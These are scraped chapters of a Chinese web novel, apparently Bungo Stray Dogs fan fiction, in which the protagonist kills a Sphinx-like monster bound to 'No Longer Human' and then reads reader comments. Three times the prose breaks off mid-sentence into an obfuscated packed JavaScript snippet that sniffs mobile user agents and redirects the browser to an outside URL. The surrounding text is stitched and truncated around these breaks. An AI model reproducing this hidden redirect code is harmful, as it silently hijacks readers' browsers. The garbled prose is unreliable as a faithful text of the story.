夏章雾刷完了牙,开始洗脸。在基础的洗漱完成后,他看了眼手机,发现正好七点钟。于是他打开笔记本,读了点读者的评论,认真地思考了几秒要不要去买早饭。 “于是就在七点钟。” 在这时,画外音很恰好地说道:“人间失格就来到了主角的记忆里。” 夏章雾默默地把笔记本合上,放弃了去买早饭的念头:就他刚刚的匆匆一瞥来看,整个评论区有一大半的读者都在讲笑话。 笑话主体是他的那种。 他马上就要去和人间失格打架了,但读者们还在兴致勃勃地讲笑话,其间巨大的生活差距实在是令人感慨。 “它的身影从黑暗当中涌现……” 此时,兼任旁白的作者依旧在感情充沛地念着稿子。 夏章雾看向落在地板上的影子。那里有一团漆黑色的东西。它正像肉块一样蠕动着,表面裂开漆黑的“肉芽”,然后迅速地膨胀,增大。 “很快,它变成了一只有点像猫的东西。” 夏章雾眨了眨眼睛,试图分辨这只怪物四肢的位置,但失败了。 它身上没有任何细节,没有任何线条,只有纯粹的黑色色块。只能说,它确实挺像猫——这主要是因为那对尖耳朵和身后的长尾巴。它们构成了这个存在身上唯二的物种特征。 夏章雾偏过头,若有所思地和那对空洞的白眼睛对上,开始考虑对方到底是不是瞎子。 “呃,它倒也不瞎。” 画外音突然变得有些尴尬。它从激情洋溢的旁白状态当中脱离了,重新变成了正常的样子。 “只是因为我当时的设计思路是这样的:眼睛必须要明显一点,否则看见它的人都分不清它的头到底在哪里……” “哦,那你做到了。我真的第一眼就认出了它的脑袋。”夏章雾用毫无起伏的语气说,“你可真是个小天才。” 这语气听上去不太像夸人,但画外音也很有自知之明地没有搭话。反倒是人间失格轻轻地偏了偏自己的“脑袋”。 “你在和别人说话。”它说。 夏章雾不再和作者聊天了。他看上去似乎有点惊讶,但随即又笑起来。 “是哟。”他说,“我可是个先知呢。” 黑猫模样的怪物晃了两下尖“耳朵”,那对眼睛直勾勾地盯住了夏章雾。 “我不认识你,先知。” 人间失格的声音让人联想到布料轻柔的摩挲声,或者水流轻缓地拍打着河沙的质感,听上去竟然带着点古怪的魅力。 塞壬歌声般的魅力。 “但我认识你,人间失格。” 夏章雾的视线从这只文学负面体的身上短暂地挪走,漫不经心地随口回答了一句。 他饶有兴致地打量着自己身处的房间,在这段记忆形成的场景中走来走去,东摸摸西翻翻,发现抽屉里果然还有内容。 正当他想从自己的枕头下面找点东西时,那只被无视的黑色生物终于再次开口了。 “我没想到你们会这么做。” 它的语气是真实的不满与迷惑:“青森有上百万的人类在里面生活。你们甚至打算把所有来过青森的人都一并视作我的感染体。可……” “哈,都是因为你啊,亲爱的。是你把人类变成了怪物 ” 夏章雾笑眯眯的声音响起。 他转过身,两只手全插在口袋里,弯起的眼睛里是盈盈的笑意,语气显得轻松且愉快: “如果你们的葬礼只需要几百万的人命作为点缀,那人类会很愉快地选择把你们送上绝路。对于不遗余力地致力于消灭人类的怪物,人类也将回以不遗余力的消灭。” ——因为人类就是这样报复心极强的东西。 ——因为人类就是这样排外的生物。 自然演化是一场军备竞赛。而食物链最顶端的位置,是人沾着无数生物的鲜血、乃至于其他人种的鲜血爬上去的。 当真正有什么东西威胁到了他们的存在时,当他们不过穿了区区几千年的文明外衣被扯下来时……人类所露出的獠牙,只会比地球上其他任何生物都要更尖锐和狰狞。 当然,人类引以为傲的智慧让他们拥有的东西不仅仅是獠牙。 黑洞洞的枪口对准了怪物苍白的眼睛。 ——还有枪。 “有人告诉我,你前来这里的并非本体,用这种简单的方式是没法杀掉你的。但我想,不试试又怎么知道?而且就算是杀掉你的一部分影子,似乎也不错。” 夏章雾眨了下眼睛,脸上带着的笑容甚至还有点不太好意思,但说话时的语气却是十成十的愉快。 他的另一只手还插在口袋里,但一只手已经从中拿出,正握着左轮,稳稳地指向对方的脑袋——刚刚他在枕头下找的就是这个东西。 “所以,要不要猜一下:我的手枪里到底装了几发子弹?” “!” 黑猫模样的怪物在夏章雾把这句话说出口的那一刻就炸了毛,飞快地朝旁边闪了过去,这一系列的动作让夏章雾都小小地“哇哦”了一声。 毕竟,有谁见过一个影子般的东西炸毛呢? 至少夏章雾之前从来没见过。 但这不妨碍他迅速地扣动扳机,一发子弹呼啸而出,和夏章雾记忆里一般快速,几乎是擦着人间失格的身子掠过。 第一发。 对方移动的速度非常快,但子弹也差不到哪里去。所以唯一决定结局的就是双方各自的反应速度和预判能力,但幸运的是,夏章雾在这两个方面都不算差。 他甚至还有闲心说垃圾话。 “哦呀?这位人间失格先生或者女士?如果你自认为死不了的话,就不要躲得那么快。如果你觉得自己很有可能死的话,也可以暂时离开我的记忆。” 夏章雾扣动扳机,用带笑的语气说:“我并不认为你在这里上蹿下跳地躲子弹,会是什么很好的主意哦?” 第二发子弹射出,瞄准的是起跳后的怪物。 然而对方以反常规的姿态往上再次一跃,就如同踩在了看不见的阶梯上,险之又险地避开了这发子弹。 那对令人毛骨悚然的白色眼睛紧紧盯着夏章雾的脸。 “你疯了——”它的声音压抑着怒气。 “我没疯。”夏章雾轻松地回答,“疯的是你。连这种不致命的危机都会被吓一跳,然后匆忙闪开。你这不是人的家伙也太拟人了。我现在很担心你的精神状态啊。” 人间失格深深地看着他,然后突然回答了夏章雾开枪前就说的话。 “他们就是怪物。”它说,“人本来就是怪物。” 它依旧没有选择用身躯接住子弹。 一种强烈的危险和不安感笼罩持续性地笼罩在它的意识中,让它下意识地避开了对方的攻击。但与此同时,强烈的自信告诉它,就算是这个影子死了也无足轻重。所以它也没有像个失败者一样狼狈地逃离。 它选择遵从自己内心被点燃的怒火,给面前的人类一点真正的教训。 第三发子弹。 利用漆黑身躯制造的视错觉躲开。 “说起来,我有点好奇。”夏章雾说。 第四发子弹。 通过隐没于阴影中躲开。 “其实,我最初觉得只要一枪就可以解决我内心所有疑惑的。” 人类的声音依旧散漫,他完全没给人间失格靠近自己的机会:“但怎么说呢,你的应对方式有点超出我的想象。” 夏章雾的枪法也超出了人间失格的想象。 他的每一枪都把之前出现过的所有情况考虑在内,每一枪想要躲避都比之前要更加艰难。这种飞速提升的水平让它怀疑这个人之前的行为只是在试探。 试探自己玩“躲避球”的水平。 第五发子弹。 漆黑的怪物终于张开了翅膀。 也就是在这一刻,人类才能意识到:人间失格头颅上方的两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他拼命地掐着面前生物的脖子,压倒在对方的身子上,艰难地、畅快地笑着:“哈,人间失格?” 怪物的尾巴更加用力地缩紧,但依旧没能阻止面前的人类——面前的先知、面前被这个世界的造物主所钦定的生物继续发话。 “咳咳,不,你配不上它。你配不上一部真正文学作品的名字。倒是有另一个名字也非常适合你。它正好就是你现在的形象。” 夏章雾毫不在乎地咳出一口血。他死死地扼住怪物的咽喉,居高临下地投以戏谑的目光。 “所以,做点更符合你身份的事情,怎么样?” 他吐字的方式在话语里过于嘲弄的尖刻对比下,显得很轻、很温柔,就像是情人间的呢喃: “对我问出那个问题吧,亲爱的。” ——他已然明晰对方的身份,他已然知晓真正的杀死对方的方法。 在这一刻,夏章雾想到了很多。 他想到了那些以扭曲的神话生物姿态而死的普通人们;他想到了读者们口中讲述“何者为人”的那本《人间失格》;他想到了对方勒住自己的长尾和巨大的羽翼;他想到了坂口安吾看到的所有与人间失格的交流内容中,那个怪物都从未提出过问题,只有对他者问题的解答。 他想到了观众小姐所说的“自我认识”,他想到了银杏蝴蝶叶所说的“明白自身存在的意义。他想想到了玧末、暮川夜等许许多多的读者,半开玩笑地说出的“嘴炮说服”。 他想到了那位读者,飘然如烟所说的话。 「因此,我不得不在此提问:你认为什么才是人?人应该是怎样的? 或许在面对人间失格的过程中,明确这两个问题的答案会相当重要。」 是啊,您说对了,非常重要。 他注视着怪物那对充斥愤怒的双眼,在窒息带来的濒死体验中,发出讽刺的、愉快而又肆意的大笑。 答案原来离他们如此接近。 答案原来如此简单而又水到渠成。 夏章雾咧着嘴。 他能够清晰地感觉到自己的手指死死地嵌入对方的身躯。他能够清晰地感受到自己浑身的肌肉仿佛都是以燃烧生命为代价而发力。他能够清晰地感受到冰冷死亡正在来临。 但与此同时,他还能够清晰地听到自己狂笑的声音。 “所以回答我啊,提问我啊!向我问出那个你最喜欢向人类问出的问题!” 他听到自己说着,大笑着: “你这吊死绝望之人的绳索!你这——早已不再提问的斯芬克斯!” 23.不要小瞧怪物的羁绊啊 人间失格、或者说是漆黑的斯芬克斯想要翻身撕咬,但夏章雾硬是死死地压住了它。 “真是有趣。在这个时代里,你竟然已不再向人们提问,而是选择对他们的问题进行解答。你这么做,莫非是害怕遭受神话中那般的死亡?你莫非是知道,自己对人的理解不过是胡言乱语?你莫非是清楚地明白——” 夏章雾看着怪物,以沙哑、轻松又缓慢,且始终含着笑意的声音说: “这些被你欺骗、被你变成怪物的人类,他们虽然无法用言语准确地表达自己的想法,但其实都知道自己‘为什么作为人类而活’?” 怪物发出尖锐的嘶鸣,它空白的眼睛中燃烧着沸腾的怒火,它的利爪已经划破了人类脆弱的肌肤,深深地嵌入血肉。它身侧有力的翅膀猛烈地拍打,想要这个冒犯它的该死人类因为痛苦和胆怯而退缩。 它想要他学会什么叫做沉默。 夏章雾对此当然是有反应的。 但他没有停下说话的声音。他只是拿出了另一只一直放在口袋里的手。 闪烁着冰冷寒光的猎刀安静地被握在掌心。 “你一定是知道的。” 他说话的语气很轻,接近气若游丝:“这些所谓的‘绝望’,他们在过去的人生中也早就克服了无数遍。这次他们所遭遇的,与过往曾遭遇的并没有什么不同——甚至有可能更好对付。” 怪物将勒在人类脖颈上的尾巴猛地收回。 它瞬息便明白了对方的想法,但这仓促间的反应完全比不上对方的有备而来。 ——清亮的刀刃已然上挥。 刀锋切入人间失格身躯的触感与杀死人类时的感觉截然不同。猎刀仿佛浸入水中,让人感到自己切断的不是物质的躯壳,而是连绵不绝的海水。 修长的尾部瞬间断裂。 但刀锋没有就此止住,而是继续向前,向前,然后毫无怜悯地插入怪物的身侧,直直地切断了它右侧的翅膀。 “你一定是知道的:他们的人生仍存在希望,他们的未来仍有转机。” 夏章雾提起这只发出痛苦嘶鸣的怪物,缓缓地站起身,然后用刀把斯芬克斯钉在了墙面上,呈现出吊死者那般的姿态。 “所以我猜,你应该也知道。” 这位平平无奇的人类学教授慢条斯理地把沾满自己鲜血的手放回口袋里,继续说:“如果你不出现在那里,他们不会想要变成怪物,他们甚至不会想寻死,而是会在承受灾难和痛苦后,继续作为人类而活着,并为活下去尽所有的努力。” 所以,亲爱的怪物先生。 你有什么资格用言语骗去他们人类的身份?你有什么资格把本能继续努力活下去的人变成怪物?你有什么资格扭曲他们人生中最后的希望? 你有什么资格—— 把这些人的外皮活生生地剥去,将里面涌出的鲜血、痛苦和苦难昭告世人,事后高高在上地说一句“他们就是怪物”,作为对他们最后的评定? “人类或许是怪物。” 他说:“有资格发表这番言论的东西有很多。但你不配,斯芬克斯。” “……我的名字是人间失格。” 人间失格屈辱地尝试挣扎,它空白的眼眸凝视着人类,语气透露出某种与人极像的固执:“我的名字只有这个。” “不,这个你可不配。” 夏章雾退后两步:“尽管来源于它,但你没有资格使用这个名字。身为怪物,就要做好使用怪物名字的觉——” “我当然知道我配不上它!” 怪物仅剩一只的翅膀猛然扇起。它像是被激怒了,声音猛地变高、变尖,在人耳所能接受的最高频率附近徘徊:“但这是我最后的名字,这是最后还能证明我身份的名字!” “你们已经抛弃了我!我们被你们已经夺走了旧有的一切!我们像是垃圾一样地被丢到了这个世界,只因为我们是负面情绪的集合,我们会妨碍到你们的世界变得更好——” 它四肢奋力地扭动,它的断尾拍打墙面,它或许还在用牙齿愤怒地咬着钉死自己的猎刀。它像是一只狼狈不堪的野兽,因为深入骨髓的屈辱和痛苦发狂。 “而现在这些事情只有我还记得了!它们全都把这些事忘记了!” 它嘶吼着,似乎同时也在呜咽着:“其他所有被你们称为文学负面体的存在,它们没有一个记得自己的来历和名字!因为只有我的力量才涉及到了记忆!只有我记得,我们是被抛弃的废品!我必须用这个名字,我必须不能忘记——” 它的话没有说完,因为它被夏章雾狠狠地揍了一拳,伤口的创面再次扩大,撕扯的痛苦让它剩下来的语句变成了痛苦的呜咽。 “差点忘了这件事。” 人类很诚恳地说道:“这一拳是我替爱丽丝打的。她真的被你气坏了。” 然后他转身翻了翻床头柜,从中拿出了几枚子弹。 “所以,我们什么时候说正题呢?” 他漫不经心地开口,把拿出来的子弹填入左轮手枪,然后轻轻转动转盘,随手对怪物那只还在扑腾的漆黑翅膀扣动扳机。 伴随着怪物的哀鸣,它左侧的翅膀也无力地垂下。 “这些话对我来说没用,不用继续枉费心机地和我聊这些内容了。” 夏章雾打了个稍显困倦的哈欠:“那些受害者身上的悲剧比你庞大得多,斯芬克斯。” 每个人都有各自的不幸。作为一个人类,他稀薄到可怜的同情心用来怜悯这些“同类”都来不及,更不用说来同情面前的这个怪物。 更何况,谁知道它现在的情绪波动是不是深海鮟鱇鱼头顶散发的灯光?谁知道这是不是用来让人心生怜悯,好放过自己的表演? 人类学教授眯起眼睛,审视着面前的东西。 那团漆黑的颜色在蠕动,那对苍白的眼睛死死地盯着他,流露出浓烈的、发自内心的敌意和憎恨。 “悲剧?你以为你有资格谈到我们身上的悲剧吗——你又以为我们的悲剧是谁造成的?” 它用变了调的声音喊道:“它们的悲剧和我都只是一个:那就是被人类抛弃!是人让我们蒙受苦难!是人把我们视若不被需要的废品!你们不懂,你们这些没有被抛弃的家伙根本就不懂这样的感受!” 如果不是被钉在了墙上,这只愤怒的怪物真的能够直接扑过来,用利爪将面前的人撕碎。 “你们以为只有仇恨才能做出这一切,但能让我做到这些的只有爱!是你们人类永远都无法懂得的爱!” 它尖声地控诉着:“我爱它们——你没有资格来评判我们!从你们抛弃我们的那一刻起就没资格了!” “你们……没有……” 怪物大口大口地喘息着,突然对自己这么久都没有被子弹击中感到了片刻的迷茫。 它望着面前的人类,然而对方掂量着自己手中的左轮,并没有说话的意思,只是歪着脑袋看它,脸上呈现出稍微有点惊讶的表情,像是看到了什么非常新奇的东西。 “噗。” 然后他笑起来。 这回夏章雾笑得有点过于剧烈,简直是上气不接下气,就像是自己刚刚听到的是世界上最好笑的笑话那般。 “噗哈哈哈哈……咳咳!等等,亲爱的,哈哈哈哈,真是有趣。我突然觉得,这段话要比你之前的长篇大论要有意思得多了——” 夏章雾的声音因为大笑而显得断断续续,于是他干脆闭口不语,笑了好久后才慢慢地平静下来,随手擦了擦眼角生理性向泪水。 “你这几句关于爱的话竟然不是说谎。” 夏章雾说:“太可悲了。” 他的目光终于带上了几分怜悯,然而这份怜悯出现在此刻更像是讽刺。 ——原来是这样。 怪不得那些站在上帝视角的读者最初会觉得人间失格并不是对人类充满恶意的存在,会觉得它可以被爱感化。 怪不得有那么多人会被它欺骗,心甘情愿地被它带着跳下悬崖,并且以为自己能够实现自己曾经不敢想象的愿望。 怪不得它此刻的形象是漆黑的斯芬克斯,一只有着自己神话原型的生物。就和那些被“人间失格”用人类制造出来的怪物一样。 “我之前说的东西原来没有错啊。” 夏章雾突然笑了:“你不是人间失格。你甚至连文学负面体都算不上,斯芬克斯。” 在文学负面体这种存在对人类只有恨的情况下,为什么面前的这个东西口中的“爱”不是谎言? 答案很简单: 因为斯芬克斯并不是文学负面体。 它不是人间失格。 ——毕竟,鮟鱇鱼头顶上为了引诱猎物而进化出的发光器官,怎么能等同于鮟鱇鱼本身? 夏章雾缓缓地、缓缓地收敛了自己脸上的笑容。 画外音说过,为了更好地伤害人类,文学负面体必然戴着自己用于欺骗的假面。 而他现在终于明白了:人间失格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188680|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用来欺骗人类的东西,从来都不是依靠临时的表演或者情真意切的伪装。 它只是制造了一个怪物而已。 它只是制造了一个真正“爱”着人类的怪物,又把足以扭曲人类的能力交给了它而已。 仅此而已。 而这只被制造的怪物此刻正困惑地看着它。但很快,它的脸上浮现出恐惧。它突然开始了剧烈的挣扎,不惜彻底损坏身体也要进行的挣扎。 “我之前一直在想,如果人间失格的传染模式真的类似传染病,那么其中必然存在着一位‘零号病人’,也就是第一个患有这种疾病的个体。” 夏章雾缓缓走到怪物面前,语气平淡地说。 那只漆黑的生物扭曲成一团,那对苍白的眼睛此刻紧紧地闭合。它浑身上下都呈现出了拒绝倾听的狼狈姿态,但人类依旧在说。 他的语气平淡,漠然,且毫无怜悯之心: “我一直以为那个人是太宰治。但现在看来,应该是你才对。” 夏章雾把刀拔下,然后在对方反应过来前便切断了这只生物的利爪——这一步有点困难,因为你总是很难判断出这么一团漆黑玩意的爪子到底位于什么位置。 然后夏章雾便捏住对方的脖颈,把它提起,直视着怪物那对毫无内容物的眼睛。 它曾经是第一个受害者。它曾经是个人。 它现在是人间失格的一部分。它甚至背负了作为文学负面体的痛苦,背负了“被三次元人类抛弃”的痛苦,以为自己是人间失格本身。 它死后,人间失格会死吗? “可以。” 那个许久都没有出声的作者突然开口:“人间失格就寄生在它身上。真正的人间失格就在它的记忆里,甚至取代了它原本的记忆。但它也因此成为了人间失格的牢笼。” 作者的声音显得格外的冷静:“只要你彻底地杀了它,那人间失格也会死去。” “这样啊。” 夏章雾轻声地说,像是突然对面前的事情感到了无聊和厌倦。 他斜眼瞅着被自己提起来的这只斯芬克斯: “喏,既然你已经明白了自己现在的情况,那就向我提问吧,小家伙——至于那个问题的内容是什么,我们都彼此心知肚明。” “我会回答你的疑问,我会让你解脱,我会让你自由。我会让你跳入悬崖,正如那些被你带入深渊的人类那般。如果你不提问,我就会让钟塔侍从毁灭青森,甚至更多的地方。你会被困在死者的记忆里,再也无法‘拯救’任何人——虽然你本来就没有拯救任何人的义务。” 他说:“所以问吧,斯芬克斯。” 怪物看着他。 怪物看着人类。 在那一刻,它似乎明白了什么。但它似乎宁愿自己什么都不明白。它发出一声短促的呜咽,简直就像是个小孩子那般。 夏章雾耐心地等待着,等到这个怪物终于停下仿佛痉挛的颤抖,开口说话。 “那个问题是,什么是人。” 斯芬克斯的声音很缓慢,也很疲惫。 夏章雾眼睛都没眨,张口道: “人就是……” 但他的话被打断了。 “——对于太宰治来说。” 它用仿佛被熏哑了的声音如是补充。 人类短暂地愣住。 “原因。”他说。 “因为太宰治和我一样。” 怪物抬头看着他。 它的声音突然平静了下来:“我们都是被拒绝和抛弃的可怜虫。因为我们都是不被期待的人造赝品。因为我们分享相同的命运:我们因为一些伟大的东西而诞生,也注定成为那个真正伟大之物的影子。” 怪物空白的眼睛注视着他。 谁也不知道它的内心到底在想些什么,人类从它身上得到的东西只能是一团漆黑。 “因为我不会相信你。因为我相信他,因为我相信我真正的同类。因为我相信——” 它说:“你绝对无法给出他想要的、有关‘人’的回答。” 大约持续了四五秒的沉默。 “哦。”夏章雾点点头,没有认同也没有否认,只是突然说道,“我还以为你的回答会是,因为你答应过,要与那孩子再见一面呢。” 他抬起握着刀的手。 锋利的猎刀插入斯芬克斯两眼之间的位置。 干脆利落,一刀毙命。 结束了。 “安息。” 24.是惊世智慧!大家快退! 闭上眼睛。 睁开眼睛。 虽然周围的场景似乎没有发生任何改变,但夏章雾依旧知道,自己已经离开了那个记忆。 面前的墙上空无一物,没有怪物的尸体。周围的东西依旧是还没有被翻动过的模样,枕头好好地放在床上,床头柜也没有打开。 口袋里的武器并没有沾上血液。不,或者说那只斯芬克斯本身的躯壳内就没有任何血液。就算是有,大概也只是和它外表一样的漆黑。 手机上的时间停留在七点一分。记忆流动的速度果然要比现实快上很多。 最大的问题只有一个。 “咳咳……咳?” 夏章雾摸了摸自己的喉咙,尝试咳嗽两声,惊讶地发现自己竟然还能说话,就是嗓音的确变得很沙哑,咽喉火辣辣的疼痛感也没有褪去。 但他依旧在说话。 “喂,我说作者啊。” 他深沉地开口:“太宰治很难搞定,对吧。” “嗯,这不是难不难搞定的事情。他是很特殊的那种,你懂的,就是那种。”画外音的声音里充满着愉悦和欢快,“你想象一下,某位俄罗斯侦探有多难搞定就行了。他们两个未来可是能表演对手戏的。” “……” 夏章雾,眼前一黑。 他心如死灰地拿出手机和钱包,心如死灰地走出旅馆,心如死灰地找了个餐馆坐下来吃早饭,心如死灰地想着自己要不就别拯救世界了。 正当夏章雾心如死灰地想着自己应该在哪里选个坟墓等死,自己的墓志铭到底是要骂一下作者还是骂一下人间失格时,他突然想到了读者。 “好吧,虽然我觉得没有什么指望。” 他心如死灰地从怀里拿出笔记本:“但我姑且先心如死灰地放一个答案征集在这儿。主题就是你觉得太宰治小朋友会对那种‘人类’的诠释更感兴趣吧。” “不错的选择嘛。” 作者安慰他:“虽然读者对太宰治的了解也不一定很多,但至少总比你这个连那孩子一面都没见过的家伙要强。” “你这么一说。” 夏章雾死鱼眼:“我更心如死灰了。” 说句实在话,给他一天时间,夏章雾能编出几百种不重样的话术来解答“什么是人”,其数量之丰富程度说不定能够把某位太宰先生彻底淹没。 但他很怀疑,这位高智商小朋友说不定一个都看不上。 与其说这种答案和哲学相关,倒不如说和心理学相关。但问题来了,夏章雾的儿童心理学水平十分、非常、特别的烂。 至少比他的犯罪心理学水平烂多了。 “总之,我先寻找一下外援。” 并不指望能靠自己的夏章雾把笔记本翻到最新页,发出气若游丝的声音:“能多知道一点有关的情报也好。” 「KK: 之前已经评论过了,这里还要再强调一遍——小夏你怕小孩儿(哭)的事情要是让太宰知道了,他一定一定会找机会狠狠迫害你的!这家伙惯会利用自我优势。」 “谢谢情报。” 夏章雾安详地说:“我现在更想死了。” 「大家好我是超级改……: 私密马赛,但是说到找幼宰我的第一反应是翻墙。」 “呃,所以这是为什么……算了,我会努力把这个方案加入考虑的。”夏章雾按了按太阳穴,有气无力地回答。 他翻到下一页——是熟人。 「都给我磕响深响: 可是太宰不需要其他人给他答案吧,即使在青时懵懂的询问,但是总有一天,他会以自己的定义去定义自己是不是人类吧。(?) 算了,我觉得我只适合开开心心的夸帅气哭悲剧,这些问题还是不回答的好,感觉我说的牛头不对马嘴的。」 划重点,“总有一天”。 “作者。” 夏章雾抬起头,毫不犹豫地开口:“拜托了,请把太宰治那个总有一天会知道的答案发给我一份吧!” “我不知道,你自己编。” 作者的回答也非常毫不犹豫:“反正除了你也没有人知道未来。” 好吧,走捷径失败。 夏章雾遗憾地低头,继续看读者有什么优秀的建议。 「玧末: 去找幼宰的话……第一是别想真的骗过他,他不在意别人是恶意还是好意,乱来的话可能反而激起某些叛逆心和恶趣味哦(思索)第二,如果想拐走小太宰的话得有他感兴趣的东西才行,不如你拉着安吾和织田作去找他吧……」 夏章雾撑着脑袋,看完了一整篇评论。 玧末这位也是老熟人了,在他遇到人间失格之前就开创新地提出了“你可能要告诉太宰治有关于什么是人的答案”,在评论区的画风要比他更像预言家。 这次给出的建议也非常有用,唯一的问题在于…… 安吾他是认识的,但织田作是谁? “如果我没有记错,日本应该是没有这种稀奇古怪的姓氏吧?”他问作者,“我记得上次见到安吾时也有读者在提这个名字。” “应该是没有的。”作者很坦然地回答,“实际上应该只有织田这个姓。” “所以这是连名带姓一起读?好奇怪的语感。” 夏章雾吐槽道。 他选择性地无视了评论里“大人要承担起生活费”这句话,同时也假装自己看不到这位读者后面那一大段与失足青年强烈相关的内容:他只是一个倒霉的、来日本拯救世界的救世主,又不是什么未成年人心理教师。 而且他的儿童心理学真的很烂。 在拯救世界的路上,他宁愿向钟塔侍从多借几个人,也不想和未成年打交道了。 「飘然如烟: 太宰能接受的回答啊——我唯一确信的就是,太宰不会接受别人给出的回答。所谓野犬,都是以自身生命去践行追寻某个特定疑问亦或是理想的人呢—— 虽然太宰的表现也是相当偏离常理的那一款,但无论他最终的答案为何,肯定也不是斯芬克斯会接受的那种啦……」 夏章雾默默地看完了这篇评论。 “我不打算拯救世界了。” 他真诚地对作者说:“要不我们还是先挑一挑墓地选址,然后看看到底给青森发射哪颗导弹吧?” 太宰治不会接受别人给出的回答——这不就完蛋了吗! “你冷静一点。”画外音安慰道,“主角应该做的事情就是化不可能为可能。我相信你,你是最棒的!” “你的意思是我应该把骨灰用宇宙飞船发射到月亮上?”夏章雾若有所思地翻到下一页,“这样也不错,就算是地球毁灭了都没有人来打扰。” 而下一页的内容赫然是: 「桉莉斯: 账务是一位魁梧男子,身形高大强壮,双臂有力,步履稳健,身躯壮硕的好像一堵墙似的,身躯凛凛,相貌堂堂……」 夏章雾考虑墓地的思路突然被打断了:“?” 爱丽丝,你怎么又在讲笑话! 嘴角略微抽搐了几下,他选择性地忽略了这段话,继续看爱丽丝其他的评论。 「桉莉斯: 账务要不要以学校教师的身份去找太宰呀~就说这孩子的班主任因为有事,托你来家访——话说危机解除学校也要开学了吧哼哼,顺便给家长开学通知书吧!」 扮演小学老师? 夏章雾默默地看着这段话。 “咕,你杀了我吧。” 他释怀地说,然后把笔记本合上,躺在椅子上,闭上眼睛,陷入了一种十分安详的状态。 画外音沉思了片刻。 “喂,你没死吧?”它说,“你点的早饭来了。” 事实证明,在绝大多数情况下,你感受到的绝望情绪只是因为自己太饿了而产生的幻觉。 听到“早饭”这两个字的夏章雾瞬间睁开眼睛,朝味噌拌饭扑了上去,狼吞虎咽地吃了起来——正常来讲,他也总是在这种状态和死咸鱼一条的状态当中来回切换。 “其实也不需要用他们解决问题。” 一边吃饭,夏章雾一边含糊不清地说着:“因为我已经用我的惊世智慧想出了一个更加靠谱的计划。” “嗯……什么计划?” “那个叫太宰的孩子可以和费某某打得有来有回的事情,其实是发生在未来,对吧?” 夏章雾很有把握地说。 作为被盯上的对象,夏章雾很清楚这位来自俄罗斯的侦探是个多么麻烦的角色。更何况,能够和钟塔侍从合作的人从来都不简单——他自己除外,因为他不是和钟塔侍从合作,而是和他们融洽地打成了一片。 简而言之,夏章雾绝对不会相信一个物理意义上大脑还没有发育完全的11岁孩子,现在就能和对方相媲美。就算这里是二次元,这种事情未免也过于夸张了。 “确实是这么一回事。”作者吐槽道,“但你怎么到现在都没记住费奥多尔的名字?” 明明更多的名字都被记下来了,但偏偏就这个名字总是记不清。 “因为记那家伙的名字根本没必要,反正我们在这件事后就要分道扬镳了——我才不会承认那家伙会在未来和我扯上关系。” 夏章雾随意地挥了挥手,像是要把那个烦人的名字赶走一样:“重点是,既然这是未来才会发生的事情,那么目前只有十一岁的太宰治完全不是那家伙的对手,对吧?” “虽然这么说很奇怪。” 画外音谨慎地说:“但也不是不行。” “所以说,答案已经很明显了,不是吗?” 夏章雾得意一笑,伸出筷子,指挥方遒地往前方一点,摆出了个类似抛出精灵球的动作,非常有气势地喊道: “就决定是你了,去吧,费某某君!” 既然如此专业对口,那么对付这个未成年的事情就交给你了! 画外音:“……?” “给你个小提示。”它情真意切地说,“你现在身后有人。” 夏章雾面不改色地收回筷子,缓缓转过身。 在转身前,他在脑海里想象了很多可怕的事件:比如某位俄罗斯人正站在他后面,那对酒红色的眼睛正安安静静地注视着他什么的。 但并没有。 在他身后的是一位最近经常见到的未成年。 视线交汇了两秒。 “勒托先生?” 石坂洋次郎终于有些紧张地开了口,打破了凝重的气氛:“那个……您说我能来找你。” 他性格还是有点内向。倒不如说是在失去妹妹后,他与人交际的能力就更糟糕了些。 “咳咳咳!” 夏章雾突然撕心裂肺地咳嗽起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194895|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后他飞快地拿出手机,在上面输入一行文字后,举起来递给对方看。 「早上好啊,小家伙。刚刚人间失格来找我了,我们在记忆里打了一架。嗓子被它掐得有点不太好使,暂时没有办法说话。所以要我帮什么忙就直接说吧,我用文字给你回复。」 石坂洋次郎愣了一下,然后他的语气突然急切起来,本能地走上前一步。 “它死了吗?”他说。 夏章雾沉默了几秒,然后才“噼里啪啦”地按下几行字,重新举起手机: 「还活着,它过来的并不是本体。人间失格寄生在了、同时也被困在了最初受害者的记忆当中。那个受害者变成的怪物神话原型应该是斯芬克斯,我已经从它的口中问出了问题。只要给出答案,它应该就会死亡。」 “那答案是……啊,抱歉。我不应该再追问案件细节的,毕竟已经和我没关系了。” 石坂洋次郎有些勉强地笑了一下,然后突然抬高了声音:“不过这件事也不重要!我今天来找勒托先生是因为别的事情!” “我昨天晚上发现了自己的异能。” 他快速地转移了话题,声音又重新变得低落起来:“看效果,是能够让人们感受到彼此情绪的能力。嗯,只是一个辅助性质的异能……不过我本来也没有想过自己能成为异能者。坂口同学就是异能者,对吧?” 夏章雾默默地打字: 「嗯。他也是辅助性的异能者。」 